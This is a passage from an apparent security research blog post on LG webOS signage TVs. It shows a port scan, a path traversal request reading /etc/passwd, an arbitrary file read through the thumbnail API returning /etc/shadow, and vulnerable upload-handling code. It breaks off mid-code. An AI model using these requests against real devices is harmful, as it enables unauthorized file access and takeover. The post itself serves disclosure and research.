9761/tcp  open  unknown        syn-ack
9869/tcp  open  unknown        syn-ack
18181/tcp open  opsec-cvp      syn-ack
36866/tcp open  unknown        syn-ack
49152/tcp open  unknown        syn-ack
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On port 443 (in newer versions port 3777), we could see that the main “Content Manager” web application was running.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_6.png&quot; alt=&quot;Content Manager app&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The purpose of the app was to automate and control all the things that had to do with displaying any content on the screen – displaying canteen menu, advertisements, or information.&lt;/p&gt;

&lt;p&gt;On port 3737 we could see another web application - Control Manager. This software is mainly used for administrative tasks and to connect the TV to a centralized system where each device can be controlled from a command center.&lt;/p&gt;

&lt;p&gt;As both apps were looking promising, and as a team we were more proficient in finding vulnerabilities in web applications, we have decided to first take a look at them.&lt;/p&gt;

&lt;h2 id=&quot;one-does-not-simply-do-a-path-traversal&quot;&gt;One does not simply do a path traversal&lt;/h2&gt;
&lt;p&gt;After some time spent playing around with the web application functionalities, Franek discovered some odd behavior with one of the endpoints in the Content Manager. More specifically,  the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/appId&lt;/code&gt; API was looking to be vulnerable to path traversal:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /appId/../../../../../../etc/passwd HTTP/1.1
Host: &amp;lt;IP&amp;gt;
Cookie: &amp;lt;COOKIES&amp;gt;
Connection: close
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
[…]
Content-Type: application/octet-stream
Content-Length: 913
Connection: close

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
proxy:x:13:13:proxy:/bin:/bin/false
www:x:33:33:www:/pub/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/false
operator:x:37:37:Operator:/var:/bin/false
haldaemon:x:68:68:hald:/:/bin/false
dbus:x:81:81:dbus:/var/run/dbus:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
avahi:x:101:101::/run/avahi-daemon:/bin/false
messagebus:x:102:102::/var/lib/dbus:/bin/false
sshd:x:103:99:Operator:/var:/bin/false
developer:x:504:504:developer:/home/developer:/bin/sh
wam:x:505:505::/media/wam:/bin/false
pulse:x:507:507::/var/run/pulse:/bin/false
db8:x:510:510::/var/db:/bin/false
kadaptor:x:511:511::/usr/bin:/bin/false
ums:x:512:512::/var/lib/ums:/bin/false
systemd-bus-proxy:x:999:997::/:/bin/nologin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looked like a promising start! We’ve quickly updated the device to the latest firmware version and send the request again eager to confirm the vulnerability. Sadly, the device sent us the following response:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request on a new version:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /appId/../../../../../../etc/passwd HTTP/1.1
Host: &amp;lt;IP&amp;gt;
Cookie: &amp;lt;COOKIES&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 302 Found
[…]
Location: /main
Content-Type: text/plain; charset=utf-8
Content-Length: 27
Connection: close

Found. Redirecting to /main
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_7.jpg&quot; alt=&quot;One does not simply&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This was a bummer, but we decided not to give up on the Content Manager app. This decision turned out to be right one, as Franek sometime later found another vulnerability that allowed us to read files from the device.  The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/thumbnail/file&lt;/code&gt; API was not doing any sanitization to the passed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reqParam&lt;/code&gt; parameter and was simply reading file contents for us:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request to thumbnail API:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; GET /thumbnail/file?reqParam={&quot;path&quot;:&quot;/etc/shadow&quot;,&quot;time&quot;:123123123} HTTP/1.1
Host: &amp;lt;IP&amp;gt;
Cookie: &amp;lt;COOKIES&amp;gt;
Connection: close
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
[…]
Content-Type: application/octet-stream
Content-Length: 913

root:*:19263:0:99999:7:::
daemon:x:19263:0:99999:7:::
bin:x:19263:0:99999:7:::
sys:x:19263:0:99999:7:::
sync:x:19263:0:99999:7:::
mail:x:19263:0:99999:7:::
proxy:x:19263:0:99999:7:::
www:x:19263:0:99999:7:::
backup:x:19263:0:99999:7:::
operator:x:19263:0:99999:7:::
haldaemon:x:19263:0:99999:7:::
dbus:x:19263:0:99999:7:::
nobody:x:19263:0:99999:7:::
avahi:!:19263:0:99999:7:::
messagebus:!:19263:0:99999:7:::
sshd:x:19263:0:99999:7:::
developer:x:19263:0:99999:7:::
wam:x:19263:0:99999:7:::
pulse:x:19263:0:99999:7:::
db8:x:19263:0:99999:7:::
kadaptor:x:19263:0:99999:7:::
ums:x:19263:0:99999:7:::
systemd-bus-proxy:!:19263:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function responsible for this vulnerability was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getThumbFile()&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/palm/services/com.webos.service.commercial.webgateway/src/embeddedcms/service/thumbnailService.js&lt;/code&gt; file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getThumbFile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_WebUtil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;requiredParamThrowError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;reqParam is required&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_WebUtil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;requiredParamThrowError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;path is required&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;statSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;writeHead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;application/octet-stream&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;size&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;readStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createReadStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// We replaced all the event handlers with a simple call to readStream.pipe()&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;readStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Great! Now we were able to read any file from the device as the gateway service was running with root permissions.&lt;/p&gt;

&lt;h2 id=&quot;all-your-files-are-belong-to-us&quot;&gt;All your files are belong to us&lt;/h2&gt;
&lt;p&gt;Meanwhile, another endpoint caught my attention. The Control Manager, NodeJS application running on port 3737 was using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/upload&lt;/code&gt; API to upload image that could be displayed if some malfunction with the centralized control system happens. This functionality was called a “Failover” image upload. Upload functionality was handled by and external &lt;a href=&quot;https://www.npmjs.com/package/multer&quot;&gt;multer&lt;/a&gt; package. As we can read in the NPM docs:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Multer is a node.js middleware for handling multipart/form-data, which is primarily used for uploading files.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Indeed, request sent to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/upload&lt;/code&gt; endpoint is in form of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;multipart/form-data&lt;/code&gt; content type. A sample upload request can be found below:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sample request to /upload API:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /upload HTTP/1.1
Host: &amp;lt;IP&amp;gt;:3737
Cookie: &amp;lt;COOKIES&amp;gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQRnOjAuLw7kux0x6
Connection: close

------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name=&quot;dir&quot;

/mnt/lg/appstore/signage/.failover/
------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name=&quot;newname&quot;

test.png
------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name=&quot;failOver&quot;; filename=&quot;test.png&quot;
Content-Type: image/png

&amp;lt;IMAGE_DATA&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The implementation of the multer package is done in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/palm/services/com.webos.service.outdoorwebcontrol/routes/index.js&lt;/code&gt; file. Code that handled parsing upload parameters into destination path on the device is presended below:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;storage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;multer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;diskStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getDiskStorageInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;upload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;multer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;storage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;storage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;fileFilter&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;web&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;supportLedSignage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fieldname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;epk$/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;originalname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fieldname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;upload_mask&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;txt$/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;originalname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getDiskStorageInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/media/update/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fieldname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/media/signage/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
